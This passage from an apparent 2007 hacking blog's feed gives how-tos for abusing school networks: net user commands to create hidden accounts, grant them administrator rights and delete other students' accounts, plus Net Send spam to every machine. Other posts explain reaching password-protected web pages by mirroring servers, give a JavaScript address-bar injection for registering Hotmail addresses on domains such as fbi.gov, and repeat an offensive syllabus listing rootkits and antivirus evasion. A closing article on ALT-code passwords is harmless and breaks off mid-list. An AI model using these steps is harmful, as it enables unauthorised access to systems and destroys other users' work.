on.&lt;br /&gt;&lt;br /&gt;3) Use a proxy. I recommend Proxify.com. If your school has blocked it, search it up on Google and do the above. Then you can search to your heart's content:)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sending messages out over the network&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Okay, here's how to send crazy messages to everyone in your school on a computer. In your command prompt, type&lt;br /&gt;&lt;br /&gt;Net Send * "The server is h4x0r3d"&lt;br /&gt;&lt;br /&gt;*Note: may not be necessary, depending on how many your school has access too. If it's just one, you can leave it out*&lt;br /&gt;&lt;br /&gt;Where is, replace it with the domain name of your school. For instance, when you log on to the network, you should have a choice of where to log on, either to your school, or to just the local machine. It tends to be called the same as your school, or something like it. So, at my school, I use&lt;br /&gt;&lt;br /&gt;Net Send Varndean * "The server is h4x0r3d"&lt;br /&gt;&lt;br /&gt;The asterisk denotes wildcard sending, or sending to every computer in the domain. You can swap this for people's accounts, for example&lt;br /&gt;&lt;br /&gt;NetSend Varndean dan,jimmy,admin "The server is h4x0r3d"&lt;br /&gt;&lt;br /&gt;use commas to divide the names and NO SPACES between them.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Adding/modifying user accounts&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now that you have a command prompt, you can add a new user (ie yourself) like so&lt;br /&gt;&lt;br /&gt;C:&gt;net user username /ADD&lt;br /&gt;&lt;br /&gt;where username is the name of your new account. And remember, try and make it look inconspicuous, then they'll just think its a student who really is at school, when really, the person doesn't EXIST! IF you wanna have a password, use this instead:&lt;br /&gt;&lt;br /&gt;C:&gt;net user username password /ADD&lt;br /&gt;&lt;br /&gt;where password is the password you want to have. So for instance the above would create an account called 'username', with the password being 'password'. The below would have a username of 'JohnSmith' and a password of 'fruity'&lt;br /&gt;&lt;br /&gt;C:&gt;net user JohnSmith fruity /ADD&lt;br /&gt;&lt;br /&gt;Right then, now that we can create accounts, let's delete them:)&lt;br /&gt;&lt;br /&gt;C:&gt;net user JohnSmith /DELETE&lt;br /&gt;&lt;br /&gt;This will delete poor liddle JohnSmith's account. Awww. Do it to you enemies:P no only joking becuase they could have important work... well okay only if you REALLY hate them:)&lt;br /&gt;&lt;br /&gt;Let's give you admin priveleges:)&lt;br /&gt;&lt;br /&gt;C:&gt;net localgroup administrator JohnSmith /ADD&lt;br /&gt;&lt;br /&gt;This will make JohnSmith an admin. Remember that some schools may not call their admins 'adminstrator' and so you need to find out the name of the local group they belong to.&lt;br /&gt;&lt;br /&gt;You can list all the localgroups by typing&lt;br /&gt;&lt;br /&gt;C:&gt;net localgroup&lt;br /&gt;&lt;br /&gt;Running .exe files you can't usually run&lt;br /&gt;&lt;br /&gt;In the command prompt, use cd (change directory) to go to where the file is, use DIR to get the name of it, and put a shortcut of it on to a floppy. Run the program off the floppy disk.&lt;br /&gt;&lt;br /&gt;Well, I hope this article helped a bit. Please vote for me if you liked it:) Also, please don't go round screwing up your school servers, they are providing them free to you to help your learning.&lt;br /&gt;&lt;br /&gt;I will add more as I learn more and remember stuff (I think I've left some stuff out - this article could get very long...)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-7482772980295074207?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/7482772980295074207/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=7482772980295074207' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/7482772980295074207'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/7482772980295074207'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/08/some-damn-things.html' title='Some damn things'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-7269516538980950469</id><published>2007-08-27T08:20:00.001-07:00</published><updated>2007-08-27T20:53:53.833-07:00</updated><title type='text'>Hacking Pssword Protected Website's</title><content type='html'>warning : For educational purpose only&lt;br /&gt;&lt;br /&gt;i know dis is lame but just would like to share wid u.&lt;br /&gt;have nothing for next half an hour so typing it.. lol&lt;br /&gt;&lt;br /&gt;here are many ways to defeat java-script protected websites. Some are very simplistic, such as hitting&lt;br /&gt;[ctl-alt-del ]when the password box is displayed, to simply turning offjava capability, which will dump you into the default page.You can try manually searching for other directories, by typing the directory name into the url address box of your browser, ie: you want access to www.target.com .&lt;br /&gt;&lt;br /&gt;Try typing www.target.com/images .(almost ever y web site has an images directory) This will put you into the images directory,and give you a text list of all the images located there. Often, the title of an image will give you a clue to the name of another directory. ie: in www.target.com/images, there is a .gif named gamestitle.gif . There is a good chance then, that there is a 'games' directory on the site,so you would then type in www.target.com/games, and if it isa valid directory, you again get a text listing of all the files available there.&lt;br /&gt;&lt;br /&gt;For a more automated approach, use a program like WEB SNAKE from anawave, or Web Wacker. These programs will create a mirror image of an entire web site, showing all director ies,or even mirror a complete server. They are indispensable for locating hidden files and directories.What do you do if you can't get past an opening "PasswordRequired" box? . First do an WHOIS Lookup for the site. In our example, www.target.com . We find it's hosted by www.host.com at 100.100.100. 1.&lt;br /&gt;&lt;br /&gt;We then go to 100.100.100.1, and then launch \Web Snake, and mirror the entire server. Set Web Snake to NOT download anything over about 20K. (not many HTML pages are bigger than this) This speeds things up some, and keeps you from getting a lot of files and images you don't care about. This can take a long time, so consider running it right before bed time. Once you have an image of the entire server, you look through the directories listed, and find /target. When we open that directory, we find its contents, and all of its sub-directories listed. Let's say we find /target/games/zip/zipindex.html . This would be the index page that would be displayed had you gone through the password procedure, and allowed it to redirect you here.By simply typing in the url www.target.com/games/zip/zipindex.html you will be onthe index page and ready to follow the links for downloading.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-7269516538980950469?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/7269516538980950469/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=7269516538980950469' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/7269516538980950469'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/7269516538980950469'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/08/hacking-pssword-protected-websites.html' title='Hacking Pssword Protected Website&apos;s'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-6622959910558292794</id><published>2007-08-27T08:18:00.000-07:00</published><updated>2007-08-27T08:20:22.078-07:00</updated><title type='text'>hack ??</title><content type='html'>Get ur unique msn account&lt;br /&gt;&lt;br /&gt;//Not actice now&lt;br /&gt;this thread will be erased in some days&lt;br /&gt;&lt;br /&gt;try something new www.deadfake.com annms mail&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Popular&lt;br /&gt;&lt;br /&gt;* Get your Own Unique msn account @"whateveryouwant"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Get your Own Unique msn account @"whateveryouwant"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There are two ways ..&lt;br /&gt;&lt;br /&gt;the first simple one is to go to https://accountservices.passport.net/reg.srf?fid=RegCredOnlyEASI&amp;sl=1&amp;vv=410&amp;lc=1033&lt;br /&gt;&lt;br /&gt;and continue registering from here .. this is the easy way ...&lt;br /&gt;&lt;br /&gt;Now the ELITE waY&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Goto http://get.live.com/getlive/overview to start registering your windows live account.&lt;br /&gt;&lt;br /&gt;2. Press the sign-up button and you will be presented a form to sign up for a hotmail account.&lt;br /&gt;&lt;br /&gt;3.Copy the following javascript injection code:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;javascript:function r(q){} function s(q){e[q] = new Option(a[q],a[q])}; r(e = document.getElementById("idomain").options);r(d="md5this.");r(a = new Array("hotmail.com","fbi.gov","nasa.gov",d+"com",d+"com.au",d+"be",d+"ca",d+"co.uk",d+"de",d+"fr",d+"it"/*md5this.com*/,d+"nl")); for (i=0;i&lt;a.length;i++){ s(i ) }alert("Success - additional domains added! md5this.com");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. Paste the code in your address bar (you know, that thing you normally type www.sainathgupta.tk .&lt;br /&gt;&lt;br /&gt;5. Hit enter, if all went well it should show a message box telling you "Success - additional domains added!".&lt;br /&gt;&lt;br /&gt;6.Now you can select a multitude of domains, fill out the form and you are ready to go!&lt;br /&gt;&lt;br /&gt;Now you have a New msn account to scare your friends out&lt;br /&gt;&lt;br /&gt;play with it ... enter a @whatever you want chat with people .. scare them&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;beyond that&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;javascript:function r(q){} function s(q){e[q] = new Option(a[q],a[q])}; r(e = document.getElementById("idomain").options);r(d="toxic.");r(a = new Array("hotmail.com","csthis.com","nasa.gov","fbi.gov","iknowwhatyoudidlastsummer.info",d+"com",d+"com.au",d+"be",d+"ca",d+"co.uk",d+"de",d+"fr",d+"it"/*csthis.com*/,d+"nl")); for (i=0;i&lt;a.length;i++){ s(i ) }alert("Success - additional domains added! thanx to md5this.com!");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;and here is more .....&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;https://account.live.com/MessagePage.aspx?lc=1033&amp;message=SIconfirmed&amp;param=%69%68%61%63%6B%65%64%40%6E%61%73%61%2E%67%6F%76%0A&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-6622959910558292794?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/6622959910558292794/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=6622959910558292794' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/6622959910558292794'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/6622959910558292794'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/08/hack.html' title='hack ??'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-8131921669864918985</id><published>2007-08-27T08:16:00.001-07:00</published><updated>2007-08-27T08:16:55.690-07:00</updated><title type='text'>hacking sylabus</title><content type='html'>Well many one ask this as what to study as a curriculum for Ethical hacking..&lt;br /&gt;hmm well i made dis generalized mannual fr u guys. may help a lot&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;• Security testing methodologies&lt;br /&gt;• The Ethical Hacking Profession&lt;br /&gt;• Passive Intelligence Gathering – 2007 Version&lt;br /&gt;• Network Sweeps&lt;br /&gt;• Stealthily Network Recon&lt;br /&gt;• Passive traffic identification&lt;br /&gt;• Identifying system vulnerabilities&lt;br /&gt;• Abusing Domain Name System (DNS)&lt;br /&gt;• Abusing Simple Network Management Protocol&lt;br /&gt;(SNMP)&lt;br /&gt;&lt;br /&gt;• Introduction to Remote Exploits&lt;br /&gt;• Engineering remote exploits&lt;br /&gt;• Running shellcode in RAM vs. on disk&lt;br /&gt;• Heap Buffer Overflows&lt;br /&gt;• Compromising Windows 2003 Server Systems&lt;br /&gt;• Compromising Solaris Unix and Linux Systems&lt;br /&gt;• Attacking RDP (Remote Desktop Protocol) in&lt;br /&gt;Windows XP, 2003 &amp; Vista&lt;br /&gt;• Windows password weaknesses &amp; Rainbow Tables&lt;br /&gt;• Unix password weaknesses&lt;br /&gt;• Attacking Cisco’s IOS password weaknesses&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Trojan genres&lt;br /&gt;• Windows, Unix and Linux Trojans&lt;br /&gt;• Kernel Mode Windows Rootkits – System Call&lt;br /&gt;Hijacking and Direct Kernel Object Modification&lt;br /&gt;• Kernel Mode Linux Rootkits&lt;br /&gt;• Covert communication channels&lt;br /&gt;• Spoofing endpoints of communication tunnels&lt;br /&gt;• Tunneling through IPSec VPNs by abusing ESP&lt;br /&gt;• Steganographic Tunnels&lt;br /&gt;• Remote command execution&lt;br /&gt;• Sniffing and hijacking SSL encrypted sessions&lt;br /&gt;• Installing sniffers on low privilege account in&lt;br /&gt;Windows 2003 Server&lt;br /&gt;• Stealthy Remote keylogger installation&lt;br /&gt;• Circumventing Antivirus&lt;br /&gt;&lt;br /&gt;Modifying syslog entries&lt;br /&gt;• Raw binary editing to prevent forensic&lt;br /&gt;investigations&lt;br /&gt;• Editing the Windows Event Log&lt;br /&gt;• Abusing Windows Named Pipes for Domain&lt;br /&gt;Impersonation&lt;br /&gt;• Impersonation of other Users- Hijacking kernel&lt;br /&gt;tokens&lt;br /&gt;• Disguising network connections&lt;br /&gt;• Attacking Cisco IOS&lt;br /&gt;• Attacking STP &amp; BGP protocols&lt;br /&gt;• Wireless Insecurity&lt;br /&gt;• Breaking Wireless Security – WEP, WPA, WPA2&lt;br /&gt;• Blinding IDS &amp; IPS&lt;br /&gt;• Attacking IDS &amp; IPS&lt;br /&gt;&lt;br /&gt;Malicious event log editing&lt;br /&gt;• Binary filesystem modification for anti-forensics&lt;br /&gt;• Named Pipe abuse&lt;br /&gt;• Kernel Token Hijacking&lt;br /&gt;• Attacking Border Gateway Protocol (BGP)&lt;br /&gt;• Attack WEP&lt;br /&gt;• Cracking WPA&lt;br /&gt;• Cracking WPA2&lt;br /&gt;• Cisco IOS Exploits&lt;br /&gt;• Breaking into Cisco routers&lt;br /&gt;• Blinding IPS&lt;br /&gt;• Attacking IPS&lt;br /&gt;&lt;br /&gt;Abusing Web Applications&lt;br /&gt;• Attacking Java Applets&lt;br /&gt;• Breaking web app authentication&lt;br /&gt;• SQL Injection techniques&lt;br /&gt;• Modifying form data&lt;br /&gt;• Attacking session IDs&lt;br /&gt;• Cookie stealing&lt;br /&gt;• Cross Site Scripting&lt;br /&gt;• Cross Site Request Forgery (CSRF) Attacks&lt;br /&gt;&lt;br /&gt;Remote buffer overflow exploit lab&lt;br /&gt;• Custom compiling Shellcode&lt;br /&gt;• Running payloads in RAM&lt;br /&gt;• Hiding exploit payloads in jpeg and gif image&lt;br /&gt;files&lt;br /&gt;• Attacking email vectors (Lotus Notes and&lt;br /&gt;Microsoft Exchange, and Outlook Web Access)&lt;br /&gt;• Registry manipulation&lt;br /&gt;• Client side IE &amp; Firefox exploits&lt;br /&gt;• Using custom Trojans to circumvent Antivirus&lt;br /&gt;• Remote kernel overflows&lt;br /&gt;• RDP (Remote Desktop Protocol) Exploitation&lt;br /&gt;• Cracking Windows Passwords&lt;br /&gt;• Building Rainbow Tables&lt;br /&gt;• Cracking Windows 2003 native mode passwords&lt;br /&gt;• Brute forcing salted Unix passwords&lt;br /&gt;• Attacking Kerberos Pre-Auth Hashes&lt;br /&gt;• Cracking IOS and PIX passwords&lt;br /&gt;&lt;br /&gt;• Compromise a DMZ setting with port redirection&lt;br /&gt;• Circumvent firewall IP access list (ACL)&lt;br /&gt;• Customizing Trojans to avoid Antivirus&lt;br /&gt;• Deploying kernel mode rootkits on Windows 2003&lt;br /&gt;&amp; Vista&lt;br /&gt;• Installing LKM rootkits on Linux servers&lt;br /&gt;• Hijacking MSN messenger traffic&lt;br /&gt;• Running commands remotely&lt;br /&gt;• Breaking wireless encryption – WEP, WPA, WPA2&lt;br /&gt;• Installing sniffers in low privilege user accounts&lt;br /&gt;• Sniffing remotely and retrieving results&lt;br /&gt;• Remote keylogging&lt;br /&gt;• Tunneling with cover channels through IPSec VPNs&lt;br /&gt;• Hijack and capture SSL traffic&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Network Sweeping&lt;br /&gt;• Scanning from spoofed IP addresses&lt;br /&gt;• Stealthy Recon&lt;br /&gt;• Injecting p0f for passive OS fingerprinting&lt;br /&gt;• Scanning through firewalls&lt;br /&gt;• IPv6 Scanning&lt;br /&gt;• Discover all subdomains owned by an&lt;br /&gt;organization&lt;br /&gt;• Inspect changes to whois record over last 3&lt;br /&gt;years&lt;br /&gt;• Windows 2003 Server &amp; Vista DNS Cache&lt;br /&gt;Poisoning Attacks&lt;br /&gt;• Pumping SNMP for data – OID Dissection&lt;br /&gt;• Attacking SNMP&lt;br /&gt;Well many one ask this as what to study as a curriculum for Ethical hacking..&lt;br /&gt;hmm well i made dis generalized mannual fr u guys. may help a lot&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;• Security testing methodologies&lt;br /&gt;• The Ethical Hacking Profession&lt;br /&gt;• Passive Intelligence Gathering – 2007 Version&lt;br /&gt;• Network Sweeps&lt;br /&gt;• Stealthily Network Recon&lt;br /&gt;• Passive traffic identification&lt;br /&gt;• Identifying system vulnerabilities&lt;br /&gt;• Abusing Domain Name System (DNS)&lt;br /&gt;• Abusing Simple Network Management Protocol&lt;br /&gt;(SNMP)&lt;br /&gt;&lt;br /&gt;• Introduction to Remote Exploits&lt;br /&gt;• Engineering remote exploits&lt;br /&gt;• Running shellcode in RAM vs. on disk&lt;br /&gt;• Heap Buffer Overflows&lt;br /&gt;• Compromising Windows 2003 Server Systems&lt;br /&gt;• Compromising Solaris Unix and Linux Systems&lt;br /&gt;• Attacking RDP (Remote Desktop Protocol) in&lt;br /&gt;Windows XP, 2003 &amp; Vista&lt;br /&gt;• Windows password weaknesses &amp; Rainbow Tables&lt;br /&gt;• Unix password weaknesses&lt;br /&gt;• Attacking Cisco’s IOS password weaknesses&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Trojan genres&lt;br /&gt;• Windows, Unix and Linux Trojans&lt;br /&gt;• Kernel Mode Windows Rootkits – System Call&lt;br /&gt;Hijacking and Direct Kernel Object Modification&lt;br /&gt;• Kernel Mode Linux Rootkits&lt;br /&gt;• Covert communication channels&lt;br /&gt;• Spoofing endpoints of communication tunnels&lt;br /&gt;• Tunneling through IPSec VPNs by abusing ESP&lt;br /&gt;• Steganographic Tunnels&lt;br /&gt;• Remote command execution&lt;br /&gt;• Sniffing and hijacking SSL encrypted sessions&lt;br /&gt;• Installing sniffers on low privilege account in&lt;br /&gt;Windows 2003 Server&lt;br /&gt;• Stealthy Remote keylogger installation&lt;br /&gt;• Circumventing Antivirus&lt;br /&gt;&lt;br /&gt;Modifying syslog entries&lt;br /&gt;• Raw binary editing to prevent forensic&lt;br /&gt;investigations&lt;br /&gt;• Editing the Windows Event Log&lt;br /&gt;• Abusing Windows Named Pipes for Domain&lt;br /&gt;Impersonation&lt;br /&gt;• Impersonation of other Users- Hijacking kernel&lt;br /&gt;tokens&lt;br /&gt;• Disguising network connections&lt;br /&gt;• Attacking Cisco IOS&lt;br /&gt;• Attacking STP &amp; BGP protocols&lt;br /&gt;• Wireless Insecurity&lt;br /&gt;• Breaking Wireless Security – WEP, WPA, WPA2&lt;br /&gt;• Blinding IDS &amp; IPS&lt;br /&gt;• Attacking IDS &amp; IPS&lt;br /&gt;&lt;br /&gt;Malicious event log editing&lt;br /&gt;• Binary filesystem modification for anti-forensics&lt;br /&gt;• Named Pipe abuse&lt;br /&gt;• Kernel Token Hijacking&lt;br /&gt;• Attacking Border Gateway Protocol (BGP)&lt;br /&gt;• Attack WEP&lt;br /&gt;• Cracking WPA&lt;br /&gt;• Cracking WPA2&lt;br /&gt;• Cisco IOS Exploits&lt;br /&gt;• Breaking into Cisco routers&lt;br /&gt;• Blinding IPS&lt;br /&gt;• Attacking IPS&lt;br /&gt;&lt;br /&gt;Abusing Web Applications&lt;br /&gt;• Attacking Java Applets&lt;br /&gt;• Breaking web app authentication&lt;br /&gt;• SQL Injection techniques&lt;br /&gt;• Modifying form data&lt;br /&gt;• Attacking session IDs&lt;br /&gt;• Cookie stealing&lt;br /&gt;• Cross Site Scripting&lt;br /&gt;• Cross Site Request Forgery (CSRF) Attacks&lt;br /&gt;&lt;br /&gt;Remote buffer overflow exploit lab&lt;br /&gt;• Custom compiling Shellcode&lt;br /&gt;• Running payloads in RAM&lt;br /&gt;• Hiding exploit payloads in jpeg and gif image&lt;br /&gt;files&lt;br /&gt;• Attacking email vectors (Lotus Notes and&lt;br /&gt;Microsoft Exchange, and Outlook Web Access)&lt;br /&gt;• Registry manipulation&lt;br /&gt;• Client side IE &amp; Firefox exploits&lt;br /&gt;• Using custom Trojans to circumvent Antivirus&lt;br /&gt;• Remote kernel overflows&lt;br /&gt;• RDP (Remote Desktop Protocol) Exploitation&lt;br /&gt;• Cracking Windows Passwords&lt;br /&gt;• Building Rainbow Tables&lt;br /&gt;• Cracking Windows 2003 native mode passwords&lt;br /&gt;• Brute forcing salted Unix passwords&lt;br /&gt;• Attacking Kerberos Pre-Auth Hashes&lt;br /&gt;• Cracking IOS and PIX passwords&lt;br /&gt;&lt;br /&gt;• Compromise a DMZ setting with port redirection&lt;br /&gt;• Circumvent firewall IP access list (ACL)&lt;br /&gt;• Customizing Trojans to avoid Antivirus&lt;br /&gt;• Deploying kernel mode rootkits on Windows 2003&lt;br /&gt;&amp; Vista&lt;br /&gt;• Installing LKM rootkits on Linux servers&lt;br /&gt;• Hijacking MSN messenger traffic&lt;br /&gt;• Running commands remotely&lt;br /&gt;• Breaking wireless encryption – WEP, WPA, WPA2&lt;br /&gt;• Installing sniffers in low privilege user accounts&lt;br /&gt;• Sniffing remotely and retrieving results&lt;br /&gt;• Remote keylogging&lt;br /&gt;• Tunneling with cover channels through IPSec VPNs&lt;br /&gt;• Hijack and capture SSL traffic&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Network Sweeping&lt;br /&gt;• Scanning from spoofed IP addresses&lt;br /&gt;• Stealthy Recon&lt;br /&gt;• Injecting p0f for passive OS fingerprinting&lt;br /&gt;• Scanning through firewalls&lt;br /&gt;• IPv6 Scanning&lt;br /&gt;• Discover all subdomains owned by an&lt;br /&gt;organization&lt;br /&gt;• Inspect changes to whois record over last 3&lt;br /&gt;years&lt;br /&gt;• Windows 2003 Server &amp; Vista DNS Cache&lt;br /&gt;Poisoning Attacks&lt;br /&gt;• Pumping SNMP for data – OID Dissection&lt;br /&gt;• Attacking SNMP&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-8131921669864918985?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/8131921669864918985/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=8131921669864918985' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/8131921669864918985'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/8131921669864918985'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/08/hacking-sylabus.html' title='hacking sylabus'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-1222646255024910831</id><published>2007-08-27T08:12:00.000-07:00</published><updated>2007-08-27T08:16:02.544-07:00</updated><title type='text'>Miscellonous</title><content type='html'>Make Ultra Strong Passwords&lt;br /&gt;A very good One from Irongeek.&lt;br /&gt;Strong Article Worth Sharin&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As some Microsoft Operating System geeks know, you can type many more characters than are on a standard keyboard by using the ALT+NUMPAD combination technique. For example, by holding down the ALT key, typing 234 on the number pad, then releasing ALT gives you the O character. I'm writing this article mostly because when I search around for information on the topic of ALT+Number key combos I find pages that are lacking in details. Most of the pages I found are coming from the angle of using ALT+NUMPAD combinations as shortcuts for typing in non-English languages, but I have another use for them. Using ALT+NUMPAD can make for some very ugly passwords to crack. These odd characters have two major advantages over normal keystrokes:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. They are unlikely to be in someone's dictionary or brute force list. Try brute forcing a password like "ace of ?s" or "I am the a and the O".&lt;br /&gt;2. Some hardware key loggers will not log these odd characters. Your mileage may vary on this as some key loggers can, so don't rely on it to keep you 100% safe.&lt;br /&gt;&lt;br /&gt;I'll cover the 2nd point more in an upcoming article. Using ALT+NUMPAD to type odd characters into your password also has a few disadvantages.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. The way they are described in this article only works in Microsoft Operating Systems (DOS, Windows 9x, Vista, XP, 2000), and there may be some variation amongst the different versions. If you know of a good way to do the same thing in Linux please email me.&lt;br /&gt;2. Not all applications will let you use these odd characters. For testing I tried the password "Oÿ" (ALT+234 and ALT+0255) on a Windows XP local account,, but not all application will let you use these sorts of characters in your password.&lt;br /&gt;&lt;br /&gt;Microsoft has the following to say on the subject of ALT+NUM key codes:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;From:http://www.microsoft.com/globaldev/reference/glossary.mspx&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Alt+Numpad: A method of entering characters by typing in the character’s decimal code with the Numeric Pad keys (Num Lock turned on). In Windows:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;• Alt+&lt;xxx&gt;, where xxx is the decimal value of a code point, generates an OEM-encoded character.&lt;br /&gt;• Alt+&lt;0xxx&gt;, where xxx is the decimal value of a code point, generates a Windows-encoded character.&lt;br /&gt;• Alt+&lt;+&gt;+&lt;xxxx&gt;, where xxxx is the hexadecimal Unicode code point, generates a Unicode-encoded (UTF-16) character.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Shortly I'll explain explain the first two methods further. The 3rd is more problematic to work with. First, you may have to edit your registry and add a the REG_SZ value "HKEY_Current_User/Control Panel/Input Method/EnableHexNumpad", then set it to "1". Also, depending on where you are trying to type the character the application may interpret your hexadecimal Fs as attempts to bring down the file menu. Since method three is so problematic I'll focus on the first two methods.&lt;br /&gt;First, make sure you are using the number pad and not the top roll number keys, only the number pad works for this. Second, make sure NUM LOCK is on. It does not have to be on in all cases for these key combos to work, but it helps by keeping the number pad from being misinterpreted.&lt;br /&gt;&lt;br /&gt;The chart from the site shows the relevant key codes to get various symbols. The table on the left shows the OEM Extended ASCII character set (AKA: IBM PC Extended Character Set; Extended ASCII; High ASCII; 437 U.S. English). True ASCII is only 7 bit, so the range is 0 to 127. IBM extended it to 8 bits and added more characters. To type these characters you merely have to hold down an ALT key, type the numeric value of the character, then release the ALT key.&lt;br /&gt;&lt;br /&gt;The table on the right shows the ANSI character set (AKA: Window's ANSI/ISO Latin-1/ANSI Extended ASCII, though technically they are not exactly the same thing.). To use the ANSI character set you do the same thing as the OEM set, but you preface the number with an extra zero. Notice that the first 127 should be the same in both sets, though values 0-31 may not be viewable in all cases. I've been in "character encoding hell" just trying to get this article on my site in a readable format.&lt;br /&gt;&lt;br /&gt;For example, ALT+257 gives me a in Wordpad, but in Notepad it loops back around the character set and gives me?(257-256=1 which is ? in the OEM set) . If you want to know what key code will bring up a particular character in a certain Windows font run Windows Character Map (charmap.exe) and look in the bottom right corner to find out.&lt;br /&gt;&lt;br /&gt;some examples :&lt;br /&gt;&lt;br /&gt;ALT+130 é&lt;br /&gt;ALT+131 â&lt;br /&gt;ALT+132 ä&lt;br /&gt;ALT+133 à&lt;br /&gt;ALT+134 å&lt;br /&gt;ALT+135 ç&lt;br /&gt;ALT+136 ê&lt;br /&gt;ALT+137 ë&lt;br /&gt;ALT+138 è&lt;br /&gt;ALT+139 ï&lt;br /&gt;ALT+140 î&lt;br /&gt;ALT+141 ì&lt;br /&gt;ALT+142 Ä&lt;br /&gt;ALT+143 Å&lt;br /&gt;ALT+144 É&lt;br /&gt;ALT+145 æ&lt;br /&gt;ALT+146 Æ&lt;br /&gt;ALT+147 ô&lt;br /&gt;ALT+148 